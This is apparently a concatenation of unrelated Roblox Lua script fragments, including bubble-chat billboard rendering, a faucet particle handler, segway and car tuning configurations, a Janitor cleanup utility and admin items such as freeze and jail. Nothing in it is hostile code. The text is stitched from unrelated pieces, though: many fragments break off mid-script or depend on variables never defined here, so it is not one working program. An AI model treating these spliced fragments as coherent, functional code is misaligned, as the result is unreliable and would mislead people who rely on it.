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-- init chat bubble tables
local function initChatBubbleType(chatBubbleType, fileName, imposterFileName, isInset, sliceRect) this.ChatBubble[chatBubbleType] = createChatBubbleMain(fileName, sliceRect) this.ChatBubbleWithTail[chatBubbleType] = createChatBubbleWithTail(fileName, UDim2.new(0.5, -CHAT_BUBBLE_TAIL_HEIGHT, 1, isInset and -1 or 0), UDim2.new(0, 30, 0, CHAT_BUBBLE_TAIL_HEIGHT), sliceRect) this.ScalingChatBubbleWithTail[chatBubbleType] = createScaledChatBubbleWithTail(fileName, 0.5, UDim2.new(-0.5, 0, 0, isInset and -1 or 0), sliceRect) end initChatBubbleType(BubbleColor.WHITE, "ui/dialog_white", "ui/chatBubble_white_notify_bkg", false, Rect.new(5,5,15,15)) initChatBubbleType(BubbleColor.BLUE, "ui/dialog_blue", "ui/chatBubble_blue_notify_bkg", true, Rect.new(7,7,33,33)) initChatBubbleType(BubbleColor.RED, "ui/dialog_red", "ui/chatBubble_red_notify_bkg", true, Rect.new(7,7,33,33)) initChatBubbleType(BubbleColor.GREEN, "ui/dialog_green", "ui/chatBubble_green_notify_bkg", true, Rect.new(7,7,33,33)) function this:SanitizeChatLine(msg) if string.len(msg) > MaxChatMessageLengthExclusive then return string.sub(msg, 1, MaxChatMessageLengthExclusive + string.len(ELIPSES)) else return msg end end local function createBillboardInstance(adornee) local billboardGui = Instance.new("BillboardGui") billboardGui.Adornee = adornee billboardGui.Size = UDim2.new(0,BILLBOARD_MAX_WIDTH,0,BILLBOARD_MAX_HEIGHT) billboardGui.StudsOffset = Vector3.new(0, 1.5, 2) billboardGui.Parent = BubbleChatScreenGui local billboardFrame = Instance.new("Frame") billboardFrame.Name = "BillboardFrame" billboardFrame.Size = UDim2.new(1,0,1,0) billboardFrame.Position = UDim2.new(0,0,-0.5,0) billboardFrame.BackgroundTransparency = 1 billboardFrame.Parent = billboardGui local billboardChildRemovedCon = nil billboardChildRemovedCon = billboardFrame.ChildRemoved:connect(function() if #billboardFrame:GetChildren() <= 1 then billboardChildRemovedCon:disconnect() billboardGui:Destroy() end end) this:CreateSmallTalkBubble(BubbleColor.WHITE).Parent = billboardFrame return billboardGui end function this:CreateBillboardGuiHelper(instance, onlyCharacter) if instance and not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then if not onlyCharacter then if instance:IsA("BasePart") then -- Create a new billboardGui object attached to this player local billboardGui = createBillboardInstance(instance) this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui return end end if instance:IsA("Model") then local head = instance:FindFirstChild("Head") if head and head:IsA("BasePart") then -- Create a new billboardGui object attached to this player local billboardGui = createBillboardInstance(head) this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui end end end end local function distanceToBubbleOrigin(origin) if not origin then return 100000 end return (origin.Position - game.Workspace.CurrentCamera.CoordinateFrame.p).magnitude end local function isPartOfLocalPlayer(adornee) if adornee and PlayersService.LocalPlayer.Character then return adornee:IsDescendantOf(PlayersService.LocalPlayer.Character) end end function this:SetBillboardLODNear(billboardGui) local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee) billboardGui.Size = UDim2.new(0, BILLBOARD_MAX_WIDTH, 0, BILLBOARD_MAX_HEIGHT) billboardGui.StudsOffset = Vector3.new(0, isLocalPlayer and 1.5 or 2.5, isLocalPlayer and 2 or 0.1) billboardGui.Enabled = true local billChildren = billboardGui.BillboardFrame:GetChildren() for i = 1, #billChildren do billChildren[i].Visible = true end billboardGui.BillboardFrame.SmallTalkBubble.Visible = false end function this:SetBillboardLODDistant(billboardGui) local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee) billboardGui.Size = UDim2.new(4,0,3,0) billboardGui.StudsOffset = Vector3.new(0, 3, isLocalPlayer and 2 or 0.1) billboardGui.Enabled = true local billChildren = billboardGui.BillboardFrame:GetChildren() for i = 1, #billChildren do billChildren[i].Visible = false end billboardGui.BillboardFrame.SmallTalkBubble.Visible = true end function this:SetBillboardLODVeryFar(billboardGui) billboardGui.Enabled = false end function this:SetBillboardGuiLOD(billboardGui, origin) if not origin then return end if origin:IsA("Model") then local head = origin:FindFirstChild("Head") if not head then origin = origin.PrimaryPart else origin = head end end local bubbleDistance = distanceToBubbleOrigin(origin) if bubbleDistance < NEAR_BUBBLE_DISTANCE then this:SetBillboardLODNear(billboardGui) elseif bubbleDistance >= NEAR_BUBBLE_DISTANCE and bubbleDistance < MAX_BUBBLE_DISTANCE then this:SetBillboardLODDistant(billboardGui) else this:SetBillboardLODVeryFar(billboardGui) end end function this:CameraCFrameChanged() for index, value in pairs(this.CharacterSortedMsg:GetData()) do local playerBillboardGui = value["BillboardGui"] if playerBillboardGui then this:SetBillboardGuiLOD(playerBillboardGui, index) end end end function this:CreateBubbleText(message) local bubbleText = Instance.new("TextLabel") bubbleText.Name = "BubbleText" bubbleText.BackgroundTransparency = 1 bubbleText.Position = UDim2.new(0,CHAT_BUBBLE_WIDTH_PADDING/2,0,0) bubbleText.Size = UDim2.new(1,-CHAT_BUBBLE_WIDTH_PADDING,1,0) bubbleText.Font = CHAT_BUBBLE_FONT if shouldClipInGameChat then bubbleText.ClipsDescendants = true end bubbleText.TextWrapped = true bubbleText.FontSize = CHAT_BUBBLE_FONT_SIZE bubbleText.Text = message bubbleText.Visible = false return bubbleText end function this:CreateSmallTalkBubble(chatBubbleType) local smallTalkBubble = this.ScalingChatBubbleWithTail[chatBubbleType]:Clone() smallTalkBubble.Name = "SmallTalkBubble" smallTalkBubble.AnchorPoint = Vector2.new(0, 0.5) smallTalkBubble.Position = UDim2.new(0,0,0.5,0) smallTalkBubble.Visible = false local text = this:CreateBubbleText("...") text.TextScaled = true text.TextWrapped = false text.Visible = true text.Parent = smallTalkBubble return smallTalkBubble end function this:UpdateChatLinesForOrigin(origin, currentBubbleYPos) local bubbleQueue = this.CharacterSortedMsg:Get(origin).Fifo local bubbleQueueSize = bubbleQueue:Size() local bubbleQueueData = bubbleQueue:GetData() if #bubbleQueueData <= 1 then return end for index = (#bubbleQueueData - 1), 1, -1 do local value = bubbleQueueData[index] local bubble = value.RenderBubble if not bubble then return end local bubblePos = bubbleQueueSize - index + 1 if bubblePos > 1 then local tail = bubble:FindFirstChild("ChatBubbleTail") if tail then tail:Destroy() end local bubbleText = bubble:FindFirstChild("BubbleText") if bubbleText then bubbleText.TextTransparency = 0.5 end end local udimValue = UDim2.new( bubble.Position.X.Scale, bubble.Position.X.Offset, 1, currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT ) bubble:TweenPosition(udimValue, Enum.EasingDirection.Out, Enum.EasingStyle.Bounce, 0.1, true) currentBubbleYPos = currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT end end function this:DestroyBubble(bubbleQueue, bubbleToDestroy) if not bubbleQueue then return end if bubbleQueue:Empty() then return end local bubble = bubbleQueue:Front().RenderBubble if not bubble then bubbleQueue:PopFront() return end spawn(function() while bubbleQueue:Front().RenderBubble ~= bubbleToDestroy do wait() end bubble = bubbleQueue:Front().RenderBubble local timeBetween = 0 local bubbleText = bubble:FindFirstChild("BubbleText") local bubbleTail = bubble:FindFirstChild("ChatBubbleTail") while bubble and bubble.ImageTransparency < 1 do timeBetween = wait() if bubble then local fadeAmount = timeBetween * CHAT_BUBBLE_FADE_SPEED bubble.ImageTransparency = bubble.ImageTransparency + fadeAmount if bubbleText then bubbleText.TextTransparency = bubbleText.TextTransparency + fadeAmount end if bubbleTail then bubbleTail.ImageTransparency = bubbleTail.ImageTransparency + fadeAmount end end end if bubble then bubble:Destroy() bubbleQueue:PopFront() end end) end function this:CreateChatLineRender(instance, line, onlyCharacter, fifo) if not instance then return end if not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then this:CreateBillboardGuiHelper(instance, onlyCharacter) end local billboardGui = this.CharacterSortedMsg:Get(instance)["BillboardGui"] if billboardGui then local chatBubbleRender = this.ChatBubbleWithTail[line.BubbleColor]:Clone() chatBubbleRender.Visible = false local bubbleText = this:CreateBubbleText(line.Message) bubbleText.Parent = chatBubbleRender chatBubbleRender.Parent = billboardGui.BillboardFrame line.RenderBubble = chatBubbleRender local currentTextBounds = TextService:GetTextSize( bubbleText.Text, CHAT_BUBBLE_FONT_SIZE_INT, CHAT_BUBBLE_FONT, Vector2.new(BILLBOARD_MAX_WIDTH, BILLBOARD_MAX_HEIGHT)) local bubbleWidthScale = math.max((currentTextBounds.X + CHAT_BUBBLE_WIDTH_PADDING)/BILLBOARD_MAX_WIDTH, 0.1) local numOflines = (currentTextBounds.Y/CHAT_BUBBLE_FONT_SIZE_INT) -- prep chat bubble for tween chatBubbleRender.Size = UDim2.new(0,0,0,0) chatBubbleRender.Position = UDim2.new(0.5,0,1,0) local newChatBubbleOffsetSizeY = numOflines * CHAT_BUBBLE_LINE_HEIGHT chatBubbleRender:TweenSizeAndPosition(UDim2.new(bubbleWidthScale, 0, 0, newChatBubbleOffsetSizeY), UDim2.new( (1-bubbleWidthScale)/2, 0, 1, -newChatBubbleOffsetSizeY), Enum.EasingDirection.Out, Enum.EasingStyle.Elastic, 0.1, true, function() bubbleText.Visible = true end) -- todo: remove when over max bubbles this:SetBillboardGuiLOD(billboardGui, line.Origin) this:UpdateChatLinesForOrigin(line.Origin, -newChatBubbleOffsetSizeY) delay(line.BubbleDieDelay, function() this:DestroyBubble(fifo, chatBubbleRender) end) end end function this:OnPlayerChatMessage(sourcePlayer, message, targetPlayer) if not this:BubbleChatEnabled() then return end local localPlayer = PlayersService.LocalPlayer local fromOthers = localPlayer ~= nil and sourcePlayer ~= localPlayer local safeMessage = this:SanitizeChatLine(message) local line = createPlayerChatLine(sourcePlayer, safeMessage, not fromOthers) if sourcePlayer and line.Origin then local fifo = this.CharacterSortedMsg:Get(line.Origin).Fifo fifo:PushBack(line) --Game chat (badges) won't show up here this:CreateChatLineRender(sourcePlayer.Character, line, true, fifo) end end function this:OnGameChatMessage(origin, message, color) local localPlayer = PlayersService.LocalPlayer local fromOthers = localPlayer ~= nil and (localPlayer.Character ~= origin) local bubbleColor = BubbleColor.WHITE if color == Enum.ChatColor.Blue then bubbleColor = BubbleColor.BLUE elseif color == Enum.ChatColor.Green then bubbleColor = BubbleColor.GREEN elseif color == Enum.ChatColor.Red then bubbleColor = BubbleColor.RED end local safeMessage = this:SanitizeChatLine(message) local line = createGameChatLine(origin, safeMessage, not fromOthers, bubbleColor) this.CharacterSortedMsg:Get(line.Origin).Fifo:PushBack(line) this:CreateChatLineRender(origin, line, false, this.CharacterSortedMsg:Get(line.Origin).Fifo) end function this:BubbleChatEnabled() local clientChatModules = ChatService:FindFirstChild("ClientChatModules") if clientChatModules then local chatSettings = clientChatModules:FindFirstChild("ChatSettings") if chatSettings then local chatSettings = require(chatSettings) if chatSettings.BubbleChatEnabled ~= nil then return chatSettings.BubbleChatEnabled end end end return PlayersService.BubbleChat end function this:ShowOwnFilteredMessage() local clientChatModules = ChatService:FindFirstChild("ClientChatModules") if clientChatModules then local chatSettings = clientChatModules:FindFirstChild("ChatSettings") if chatSettings then chatSettings = require(chatSettings) return chatSettings.ShowUserOwnFilteredMessage end end return false end function findPlayer(playerName) for i,v in pairs(PlayersService:GetPlayers()) do if v.Name == playerName then return v end end end ChatService.Chatted:connect(function(origin, message, color) this:OnGameChatMessage(origin, message, color) end) local cameraChangedCon = nil if game.Workspace.CurrentCamera then cameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal("CFrame"):connect(function(prop) this:CameraCFrameChanged() end) end game.Workspace.Changed:connect(function(prop) if prop == "CurrentCamera" then if cameraChangedCon then cameraChangedCon:disconnect() end if game.Workspace.CurrentCamera then cameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal("CFrame"):connect(function(prop) this:CameraCFrameChanged() end) end end end) local AllowedMessageTypes = nil function getAllowedMessageTypes() if AllowedMessageTypes then return AllowedMessageTypes end local clientChatModules = ChatService:FindFirstChild("ClientChatModules") if clientChatModules then local chatSettings = clientChatModules:FindFirstChild("ChatSettings") if chatSettings then chatSettings = require(chatSettings) if chatSettings.BubbleChatMessageTypes then AllowedMessageTypes = chatSettings.BubbleChatMessageTypes return AllowedMessageTypes end end local chatConstants = clientChatModules:FindFirstChild("ChatConstants") if chatConstants then chatConstants = require(chatConstants) AllowedMessageTypes = {chatConstants.MessageTypeDefault, chatConstants.MessageTypeWhisper} end return AllowedMessageTypes end return {"Message", "Whisper"} end function checkAllowedMessageType(messageData) local allowedMessageTypes = getAllowedMessageTypes() for i = 1, #allowedMessageTypes do if allowedMessageTypes[i] == messageData.MessageType then return true end end return false end local ChatEvents = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents") local OnMessageDoneFiltering = ChatEvents:WaitForChild("OnMessageDoneFiltering") local OnNewMessage = ChatEvents:WaitForChild("OnNewMessage") OnNewMessage.OnClientEvent:connect(function(messageData, channelName) if not checkAllowedMessageType(messageData) then return end local sender = findPlayer(messageData.FromSpeaker) if not sender then return end if not messageData.IsFiltered or messageData.FromSpeaker == LocalPlayer.Name then if messageData.FromSpeaker ~= LocalPlayer.Name or this:ShowOwnFilteredMessage() then return end end this:OnPlayerChatMessage(sender, messageData.Message, nil) end) OnMessageDoneFiltering.OnClientEvent:connect(function(messageData, channelName) if not checkAllowedMessageType(messageData) then return end local sender = findPlayer(messageData.FromSpeaker) if not sender then return end if messageData.FromSpeaker == LocalPlayer.Name and not this:ShowOwnFilteredMessage() then return end this:OnPlayerChatMessage(sender, messageData.Message, nil) end)
----- Water particle handler -----
function waterOutput() if script.Parent.ColdOn.Value == false and script.Parent.HotOn.Value == false then faucetParticles.Enabled = false showerHead.Enabled = false bathSound:Stop() showerSound:Stop() elseif script.Parent.ShowerMode.Value == false then faucetParticles.Enabled = true showerHead.Enabled = false bathSound:Play() showerSound:Stop() else faucetParticles.Enabled = false showerHead.Enabled = true bathSound:Stop() showerSound:Play() end end script.Parent.ColdOn.Changed:connect(function() waterOutput() end) script.Parent.HotOn.Changed:connect(function() waterOutput() end) script.Parent.ShowerMode.Changed:connect(function() waterOutput() end)
-- Get references to the DockShelf and its children
local dockShelf = script.Parent.Parent.Parent.Parent.Parent.DockShelf local dockbtn = dockShelf.ICalculator local aFinderButton = dockShelf.AFinder local Minimalise = script.Parent local window = script.Parent.Parent.Parent
--[=[ @class SpringObject ]=]
local require = require(script.Parent.loader).load(script) local RunService= game:GetService("RunService") local Spring = require("Spring") local Maid = require("Maid") local Signal = require("Signal") local StepUtils = require("StepUtils") local Observable = require("Observable") local SpringUtils = require("SpringUtils") local Blend = require("Blend") local Rx = require("Rx") local SpringObject = {} SpringObject.ClassName = "SpringObject" SpringObject.__index = SpringObject
--Made by Stickmasterluke
sp=script.Parent speedboost=2 --100% speed bonus speedforsmoke=10 --smoke apears when character running >= 10 studs/second. function waitfor(a,b,c) local c=c or 5*60 local d=tick()+c while a:FindFirstChild(b)==nil and tick()<=d do wait() end return a:FindFirstChild(b) end local tooltag=waitfor(script,"ToolTag",2) if tooltag~=nil then local tool=tooltag.Value local h=sp:FindFirstChild("Humanoid") if h~=nil then h.WalkSpeed=16+10*speedboost local t=sp:FindFirstChild("Torso") if t~=nil then smokepart=Instance.new("Part") smokepart.FormFactor="Custom" smokepart.Size=Vector3.new(0,0,0) smokepart.TopSurface="Smooth" smokepart.BottomSurface="Smooth" smokepart.CanCollide=false smokepart.Transparency=1 local weld=Instance.new("Weld") weld.Name="SmokePartWeld" weld.Part0=t weld.Part1=smokepart weld.C0=CFrame.new(0,-3.5,0)*CFrame.Angles(math.pi/4,0,0) weld.Parent=smokepart smokepart.Parent=sp smoke=Instance.new("Fire") smoke.Enabled=t.Velocity.magnitude>speedforsmoke smoke.Size=5 smoke.Parent=smokepart h.Running:connect(function(speed) if smoke and smoke~=nil then smoke.Enabled=speed>speedforsmoke end end) end end while tool~=nil and tool.Parent==sp and h~=nil do sp.ChildRemoved:wait() end local h=sp:FindFirstChild("Humanoid") if h~=nil then h.WalkSpeed=16 end end if smokepart~=nil then smokepart:remove() end script:remove()
-- Must have hopped on a segway
SegwayObject.Changed:connect(function() if SegwayObject.Value ~= nil and SegwayObject.Value.Parent then if UserInputService.VREnabled then Camera.CameraType = "Scriptable" else Camera.CameraType = "Follow" end Lights = SegwayObject.Value:WaitForChild("Lights") Notifiers = SegwayObject.Value:WaitForChild("Notifiers") Character = Player.Character Humanoid = Character:WaitForChild("Humanoid") PlayerGui = Player.PlayerGui SitListener = Humanoid.Seated:connect(function()Hopoff(Character)end) JumpListener = UserInputService.JumpRequest:connect(function()Hopoff(Character)end) ConfigLights:FireServer(0,"Cyan",true,"Neon",Lights,Notifiers) CheckMobile() CheckVR() IsOnSegway = true end end) SetGuiButtons() while game:GetService("RunService").RenderStepped:wait() do -- Update segway's bottom direction CastToGround() if SegwayObject.Value and SegwayObject.Value.Parent and SeaterObject.Value and Thruster.Value and TiltMotor.Value then -- Move segway Accelerate() -- Change sound of segway Sound() -- Tilts the segway Tilt() UpdateVRPos() elseif IsOnSegway then IsOnSegway = false UpdateCharTrans(0,0) end end
-- declarations
local sDied = newSound("") sDied.Pitch = 1.89 local sFallingDown = newSound("rbxasset://sounds/splat.wav") local sFreeFalling = newSound("rbxasset://sounds/swoosh.wav") local sGettingUp = newSound("rbxasset://sounds/hit.wav") local sJumping = newSound("rbxasset://sounds/hit.wav") local sRunning = newSound("rbxasset://sounds/bfsl-minifigfoots1.mp3") sRunning.Looped = true local Figure = script.Parent local Head = waitForChild(Figure, "Head") local Humanoid = waitForChild(Figure, "Humanoid")
--Control Mapping
Tune.Controls = { --Keyboard Controls --Mode Toggles ToggleTCS = Enum.KeyCode.T , ToggleABS = Enum.KeyCode.Y , ToggleTransMode = Enum.KeyCode.M , ToggleMouseDrive = Enum.KeyCode.R , --Primary Controls Throttle = Enum.KeyCode.Up , Brake = Enum.KeyCode.Down , SteerLeft = Enum.KeyCode.Left , SteerRight = Enum.KeyCode.Right , --Secondary Controls Throttle2 = Enum.KeyCode.W , Brake2 = Enum.KeyCode.S , SteerLeft2 = Enum.KeyCode.A , SteerRight2 = Enum.KeyCode.D , --Manual Transmission ShiftUp = Enum.KeyCode.E , ShiftDown = Enum.KeyCode.Q , Clutch = Enum.KeyCode.LeftShift , --Handbrake PBrake = Enum.KeyCode.P , --Mouse Controls MouseThrottle = Enum.UserInputType.MouseButton1 , MouseBrake = Enum.UserInputType.MouseButton2 , MouseClutch = Enum.KeyCode.W , MouseShiftUp = Enum.KeyCode.E , MouseShiftDown = Enum.KeyCode.Q , MousePBrake = Enum.KeyCode.LeftShift , --Controller Mapping ContlrThrottle = Enum.KeyCode.ButtonR2 , ContlrBrake = Enum.KeyCode.ButtonL2 , ContlrSteer = Enum.KeyCode.Thumbstick1 , ContlrShiftUp = Enum.KeyCode.ButtonY , ContlrShiftDown = Enum.KeyCode.ButtonX , ContlrClutch = Enum.KeyCode.ButtonR1 , ContlrPBrake = Enum.KeyCode.ButtonL1 , ContlrToggleTMode = Enum.KeyCode.DPadUp , ContlrToggleTCS = Enum.KeyCode.DPadDown , ContlrToggleABS = Enum.KeyCode.DPadRight , }
-------------------------
function onClicked() Car.BodyVelocity.velocity = Vector3.new(0, -5, 0) end script.Parent.ClickDetector.MouseClick:connect(onClicked)
--
function uisBinds:BindToInput(actionName, func, ...) local binds = {...}; self.connections[actionName] = {} for i = 1, #binds do local keycode = binds[i]; self.connections[actionName][keycode] = { UIS.InputBegan:Connect(function(input, process) if (input.KeyCode == keycode) then func(actionName, input.UserInputState, input); end end), UIS.InputChanged:Connect(function(input, process) if (input.KeyCode == keycode) then func(actionName, input.UserInputState, input); end end), UIS.InputEnded:Connect(function(input, process) if (input.KeyCode == keycode) then func(actionName, input.UserInputState, input); end end) } end end function uisBinds:UnbindAction(actionName) for keycode, array in next, self.connections[actionName] do for i = 1, #array do array[i]:Disconnect(); end end self.connections[actionName] = nil; end
--Made by Luckymaxer
Camera = game:GetService("Workspace").CurrentCamera Rate = (1 / 60) Shake = {Movement = 40, Rate = 0.001} local CoordinateFrame = Camera.CoordinateFrame local Focus = Camera.Focus while true do local CameraRotation = Camera.CoordinateFrame - Camera.CoordinateFrame.p local CameraScroll = (CoordinateFrame.p - Focus.p).magnitude local NewCFrame = CFrame.new(Camera.Focus.p) * CameraRotation * CFrame.fromEulerAnglesXYZ((math.random(-Shake.Movement, Shake.Movement) * Shake.Rate), (math.random(-Shake.Movement, Shake.Movement) * Shake.Rate), 0) CoordinateFrame = NewCFrame * CFrame.new(0, 0, CameraScroll) Camera.CoordinateFrame = CoordinateFrame wait(Rate) end
-- [[ End VR Support Section ]] --
return BaseCamera
--[[** "Links" this Janitor to an Instance, such that the Janitor will `Cleanup` when the Instance is `Destroyed()` and garbage collected. A Janitor may only be linked to one instance at a time, unless `AllowMultiple` is true. When called with a truthy `AllowMultiple` parameter, the Janitor will "link" the Instance without overwriting any previous links, and will also not be overwritable. When called with a falsy `AllowMultiple` parameter, the Janitor will overwrite the previous link which was also called with a falsy `AllowMultiple` parameter, if applicable. @param [t:Instance] Object The instance you want to link the Janitor to. @param [t:boolean?] AllowMultiple Whether or not to allow multiple links on the same Janitor. @returns [t:RbxScriptConnection] A pseudo RBXScriptConnection that can be disconnected. **--]]
function Janitor.__index:LinkToInstance(Object, AllowMultiple) local Connection local IndexToUse = AllowMultiple and newproxy(false) or LinkToInstanceIndex local IsNilParented = Object.Parent == nil local ManualDisconnect = setmetatable({}, Disconnect) local function ChangedFunction(_DoNotUse, NewParent) if ManualDisconnect.Connected then _DoNotUse = nil IsNilParented = NewParent == nil if IsNilParented then coroutine.wrap(function() Heartbeat:Wait() if not ManualDisconnect.Connected then return elseif not Connection.Connected then self:Cleanup() else while IsNilParented and Connection.Connected and ManualDisconnect.Connected do Heartbeat:Wait() end if ManualDisconnect.Connected and IsNilParented then self:Cleanup() end end end)() end end end Connection = Object.AncestryChanged:Connect(ChangedFunction) ManualDisconnect.Connection = Connection if IsNilParented then ChangedFunction(nil, Object.Parent) end Object = nil return self:Add(ManualDisconnect, "Disconnect", IndexToUse) end
-- << SETUP ITEMS (items which continue on respawn) >>
function module:SetupItem(player, itemName, playerRespawned) if playerRespawned then wait(0.1) end local pdata = main.pd[player] local item = pdata.Items[itemName] local head = main:GetModule("cf"):GetHead(player) if head and pdata then if itemName == "FreezeBlock" then main:GetModule("cf"):Movement(false, player) main:GetModule("cf"):SetTransparency(player.Character, 1) if item:FindFirstChild("FreezeClone") then main.signals.SetCameraSubject:FireClient(player, (item.FreezeClone.Humanoid)) end elseif itemName == "JailCell" then head.CFrame = item.Union.CFrame elseif itemName == "ControlPlr" then local plr = item.Value local controllerHumanoid = main:GetModule("cf"):GetHumanoid(player) if plr and controllerHumanoid then main:GetModule("MorphHandler"):BecomeTargetPlayer(player, plr.UserId) main.signals.SetCameraSubject:FireClient(player, (controllerHumanoid)) main:GetModule("cf"):CreateFakeName(player, plr.Name) else main:GetModule("cf"):RemoveControlPlr(player) end elseif itemName == "UnderControl" then local controller = item.Value local controllerHumanoid = main:GetModule("cf"):GetHumanoid(controller) if controller and controllerHumanoid then main.signals.SetCameraSubject:FireClient(player, (controllerHumanoid)) --main:GetModule("cf"):SetTransparency(player.Character, 1, true) --main:GetModule("cf"):Movement(false, player) player.Character.Parent = nil else main:GetModule("cf"):RemoveUnderControl(player) end -- Controler -- Plr end end end return module
-- ROBLOX deviation end
local function getCommonMessage(message: string, options: DiffOptions?) local commonColor = normalizeDiffOptions(options)["commonColor"] return commonColor(message) end
--vars
local weldbholestoanchoredparts = false --when you repeatedly weld new stuff to lets say a base it will start bouncing people up local headrotationx = 0 local adsing = false local sprinte = false local savedws local headoffset = Instance.new("Weld", handle) headoffset.Name = "headoffsetholder" headoffset.C0 = CFrame.new() local movehead = true local rayignore = {}
--[[** ensures Lua primitive thread type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.thread = t.typeof("thread")
--[[** Checks if the given group is an ally of the target group and vice-versa. @param [Integer] GroupID The group you are checking. @param [Integer] TargetGroupID The group you are checking. @returns [Boolean] Whether or not the groups are allies. **--]]
function GroupService:IsGroupAlly(GroupID, TargetGroupID) for _, Group in ipairs(GroupService:GetGroupAlliesAsync(GroupID)) do if Group.Id == TargetGroupID then return true end end return false end
--Rear Suspension
Tune.RSusDamping = 5 -- Spring Dampening Tune.RSusStiffness = 150 -- Spring Force Tune.FAntiRoll = 0 -- Anti-Roll (Gyro Dampening) Tune.RSusLength = 10 -- Suspension length (in studs) Tune.RPreCompress = 5 -- Pre-compression adds resting length force Tune.RExtensionLim = 2 -- Max Extension Travel (in studs) Tune.RCompressLim = .5 -- Max Compression Travel (in studs) Tune.RSusAngle = 70 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 5 -- Wishbone Length Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward
--[[Engine]]
--Torque Curve Tune.Horsepower = 150 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 1400 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 7500 -- Use sliders to manipulate values Tune.Redline = 8500 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 6000 Tune.PeakSharpness = 10.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
--// F key, HornOn
mouse.KeyDown:connect(function(key) if key=="f" then veh.Lightbar.middle.Airhorn:Play() veh.Lightbar.middle.Wail.Volume = 0 veh.Lightbar.middle.Yelp.Volume = 0 veh.Lightbar.middle.Priority.Volume = 0 veh.Lightbar.AH.Transparency = 0 end end)
---- IconMap ---- -- Image size: 256px x 256px -- Icon size: 16px x 16px -- Padding between each icon: 2px -- Padding around image edge: 1px -- Total icons: 14 x 14 (196)
local Icon, ClassIcon do local iconMap = 'http://www.roblox.com/asset/?id=' .. MAP_ID game:GetService('ContentProvider'):Preload(iconMap) local iconDehash do -- 14 x 14, 0-based input, 0-based output local f=math.floor function iconDehash(h) return f(h/14%14),f(h%14) end end function Icon(IconFrame,index) local row,col = iconDehash(index) local mapSize = Vector2_new(256,256) local pad,border = 2,1 local iconSize = 16 local class = 'Frame' if type(IconFrame) == 'string' then class = IconFrame IconFrame = nil end if not IconFrame then IconFrame = Create(class,{ Name = "Icon"; BackgroundTransparency = 1; ClipsDescendants = true; Create('ImageLabel',{ Name = "IconMap"; Active = false; BackgroundTransparency = 1; Image = iconMap; Size = UDim2_new(mapSize.x/iconSize,0,mapSize.y/iconSize,0); }); }) end IconFrame.IconMap.Position = UDim2_new(-col - (pad*(col+1) + border)/iconSize,0,-row - (pad*(row+1) + border)/iconSize,0) return IconFrame end function ClassIcon(IconFrame, index) local offset = index * 16 local class = 'Frame' if type(IconFrame) == 'string' then class = IconFrame IconFrame = nil end if not IconFrame then IconFrame = Create(class,{ Name = "Icon"; BackgroundTransparency = 1; ClipsDescendants = true; Create('ImageLabel',{ Name = "IconMap"; BackgroundTransparency = 1; Image = CLASS_MAP_ID; ImageRectSize = Vector2_new(16, 16); ImageRectOffset = Vector2_new(offset, 0); Size = UDim2_new(1, 0, 1, 0); Parent = IconFrame }); }) end IconFrame.IconMap.ImageRectOffset = Vector2_new(offset, 0); return IconFrame end end
--- Gets a list of all possible values that could match based on the current value.
function Argument:GetAutocomplete() if self.Type.Autocomplete then return self.Type.Autocomplete(self:GetTransformedValue(#self.TransformedValues)) else return {} end end function Argument:ParseValue(i) if self.Type.Parse then return self.Type.Parse(self:GetTransformedValue(i)) else return self:GetTransformedValue(i) end end
-- Events
MousePosition = Events:WaitForChild("MousePosition")
--[[Steering]]
Tune.SteerInner = 70 -- Inner wheel steering angle (in degrees) Tune.SteerOuter = 70 -- Outer wheel steering angle (in degrees) Tune.SteerSpeed = .5 -- Steering increment per tick (in degrees) Tune.ReturnSpeed = .5 -- Steering increment per tick (in degrees) Tune.SteerDecay = 320 -- Speed of gradient cutoff (in SPS) Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent) Tune.MSteerExp = 1 -- Mouse steering exponential degree --Steer Gyro Tuning Tune.SteerD = 1200 -- Steering Dampening Tune.SteerMaxTorque = 50000 -- Steering Force Tune.SteerP = 8000 -- Steering Aggressiveness
--[[ Want an explanation of the script? ٩(。•́‿•̀。)۶ https://youtu.be/a6WMCfSZF8k (Shirooo) --]]
